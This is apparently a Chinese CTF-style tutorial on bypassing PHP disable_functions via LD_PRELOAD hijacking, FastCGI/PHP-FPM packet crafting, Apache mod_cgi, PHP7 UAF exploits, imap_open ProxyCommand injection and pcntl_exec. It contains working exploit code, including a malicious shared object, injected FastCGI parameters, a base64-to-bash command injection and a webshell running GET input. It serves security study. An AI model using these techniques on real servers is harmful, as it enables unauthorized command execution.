这并不是一个新颖的话题了,在很多CTF的比赛中都有过应用,第一次见到还是在[极客大挑战 2019]RCE ME的php7-gc-bypass。不局限于脚本小子,于是就深入学习一下这些bypass,这些都是底层的东西,自己也学的一知半解。
1.LD_PRELOAD
链接
程序的链接主要有以下三种:
- 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
- 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
- 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。
Linux 的 LD_PRELOAD
在Linux中,LD_PRELOAD环境变量可以影响程序运行时的链接,允许在程序运行前优先加载动态链接库。通过这个环境变量,我们可以加载别的动态链接库,用恶意函数覆盖正常函数。
条件
- 能够上传自己的.so文件;
- 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数;
- 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等。
利用原理
mail() 、 error_log()、ImageMagick() 是常用于劫持的触发函数,原因是需要在运行的时候能够启动子进程,这样才能重新加载我们所设置的环境变量,从而劫持子进程所调用的库函数。
- mail函数在运行时,会启动子进程来调用系统的sendmail
- error_log函数当第二个参数为1时,同样会启动子进程来调用系统的sendmail
- ImageMagick函数调用时,也会调用外部程序去处理指定格式文件
实现
以mail函数为例,mail函数启动子进程来调用系统的sendmail,通过命令readelf查看调用的库函数
这里可以随便选一个库函数即可,通常会选择功能不是那么复杂的函数,例如getegid()或者seteuid()等等。
hack.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("whoami > /var/www/html/test.txt");
}
int seteuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
重写了setuid(),在用完后就删除LD_PRELOAD,并且调用了payload执行命令,编译成so文件,写入php文件包含。
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("[email protected]","","","","");
?>
蚁剑插件实现
蚁剑插件能实现的必要条件:
- mail()函数和error_log()函数所调用的sendmail已安装,例如
apt-get install sendmail
- 不限制 /usr/sbin/sendmail 的执行
- mail()函数和error_log()函数有一个未被禁用
- LD_PRELOAD,即Linux环境下
在插件中,该原理脚本如下:
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
error_log("a",1);
mail("a@localhost","","","","");
?>
hack.so会调用php开启一个默认配置的PHPServer,并在web目录生成一个.antproxy.php,与新PHPServer建立Socket连接,转发流量到index.php一句话执行命令。
2.Fastcgi/PHP-FPM
Fastcgi 是一种通讯协议,用于Web服务器与后端语言的数据交换;PHP-FPM 则是php环境中对Fastcgi协议的管理程序实现
Nginx为fastcgi 提供了 fastcgi_param 来主要处理映射关系,将 Nginx 中的变量翻译成 PHP 能够理解的变量
例如用户访问http://127.0.0.1/hackme.php?test=1,假设web目录为/var/www/html,那么请求会被解析成如下键值对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/hackme.php',
'SCRIPT_NAME': '/hackme.php',
'QUERY_STRING': '?test=1',
'REQUEST_URI': '/hackme.php?test=1',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '6666',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
其中SCRIPT_FILENAME 用于指定执行的文件,但php-fpm的默认配置中有一个选项:security.limit_extensions 限制了fpm可执行的后缀文件,这里也有很多CTF的考点。
我们可利用两个php环境变量字段来构造fastcgi包让fpm执行指定的文件: PHP_VALUE及PHP_ADMIN_VALUE
PHP_VALUE 可动态修改模式为PHP_INI_USER和PHP_INI_ALL的配置项,但不能设置on/off等布尔值
例如使用如下fastcgi指令,通过设置 auto_prepend_file 来实现运行第一个php代码前加载指定的HACK.php
fastcgi_param PHP_VALUE "auto_prepend_file=/var/html/www/7488/HACK.php";
PHP_ADMIN_VALUE可以设置php.ini的属性值任意配置项且不会被.htaccess和ini_set()函数所覆盖
但无法覆盖disable_functions,原因是因为在php运行时,已经按照disable_functions将禁用函数对应的地址从函数hash列表中剔除
构造攻击协议包如下:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/hackme.php',
'SCRIPT_NAME': '/hackme.php',
'QUERY_STRING': '?test=1',
'REQUEST_URI': '/hackme.php?test=1',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '6666',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
设置auto_prepend_file = php://input以及allow_url_include = On,实现在执行php文件执行前进行远程文件包含POST内容,从而任意代码执行
蚁剑插件实现
判断选定的fpm连接方式为Unix Socket还是TCP
紧接着与第一种LD_PRELOAD实现相同,将启动新的PHPServer命令插入代上传的so文件指定字节位置,进行上传
so文件上传成功后,初始化fastcgiclient,构造恶意fastcgi协议连接php-fpm,PHP_VALUE与PHP_ADMIN_VALUE均将extension指向so文件,发送协议后动态加载我们的扩展文件,启动默认配置的PHPServer
这里会构造exp
最后上传代理脚本,将流量通过index.php转发到新PHPServer,实现绕过disable_function
3.Apache Mod CGI
Mod CGI就是把PHP做为APACHE一个内置模块,让apache http服务器本身能够支持PHP语言,不需要每一个请求都通过启动PHP解释器来解释PHP
它可以将cgi-script文件或者用户自定义标识头为cgi-script的文件通过服务器运行
在.htaccess文件中可定制用户定义标识头
添加Options +ExecCGI,代表着允许使用mod_cgi模块执行CGI脚本
例如添加AddHandler cgi-script .cgi,代表着包含.cgi扩展名的文件都将被视为CGI程序
此时需要保证.htaccess可以加载进当前web环境
当apache配置文件中指定web目录下AllowOverride参数值为None 时,.htaccess 文件无法生效
在apache2.3.8版本之前AllowOverride参数值默认设置为 All,.htaccess 文件设置的指令可生效
配置好cgi文件的环境变量后可通过构造如下脚本来实现命令执行
#! /bin/bash
echo -ne "Content-Type: text/html\n\n"//发送给浏览器告诉浏览器文件的内容类型,否则500
whoami
插件实现
插件脚本首先判断modcgi是否启用、当前目录是否可写、.htaccess是否可正常使用
备份.htaccess文件并配置好新的.htaccess以及写入cgi脚本文件shell.ant,并赋执行权限
最后启动一个新的终端,将我们输入的命令put进shell.ant对其发起请求,实现命令执行
4.Json Serializer UAF && PHP7 GC with Certain Destructors UAF
利用原理
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux,php7.0-7.3
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
php-json-bypass漏洞利用json序列化程序中的堆溢出触发,以绕过disable_functions并执行系统命令
影响范围是linux,php 7.1-7.3
https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
插件实现
json_serializer_uaf中,先检查版本号是否合适。
通过exp调用函数
json_uc_uaf同理,检测版本
调用函数
两EXP函数通过调用原作者POC实现,膜拜大佬
https://github.com/mm0r1/exploits
5.IMAP Bypass
imap_open()函数需安装imap扩展,用于打开连接某个邮箱的IMAP流
当启用了rsh和ssh功能并且在debian/ubuntu中会默认调用ssh进行连接
//imap.php
<?php
$payload = "whoami >/tmp/result";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
echo file_get_contents("/tmp/result");
?>
由于未对参数传递进行正确编码,导致ssh建立连接可利用\t代替空格进行-oProxyCommand参数命令拼接,从而调用系统shell执行命令
6.PCNTL Bypass
当php安装并使用pcntl扩展时,可借助其pcntlexec()函数直接执行命令来尝试绕过disablefunctions
通过文件读写来达到命令执行回显
<?php
header("Content-Type: text/plain");
$cmd = "/tmp/exec";
@unlink($cmd);
$c = "#!/usr/bin/env bash\n".$_GET[x]."> /tmp/output.txt\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);
$cd = "/tmp/output.txt";
print_r(file_get_contents($cd));
switch (pcntl_fork()) {
case 0:
$ret = pcntl_exec($cmd);
exit("case 0");
default:
echo "case 1";
break;
}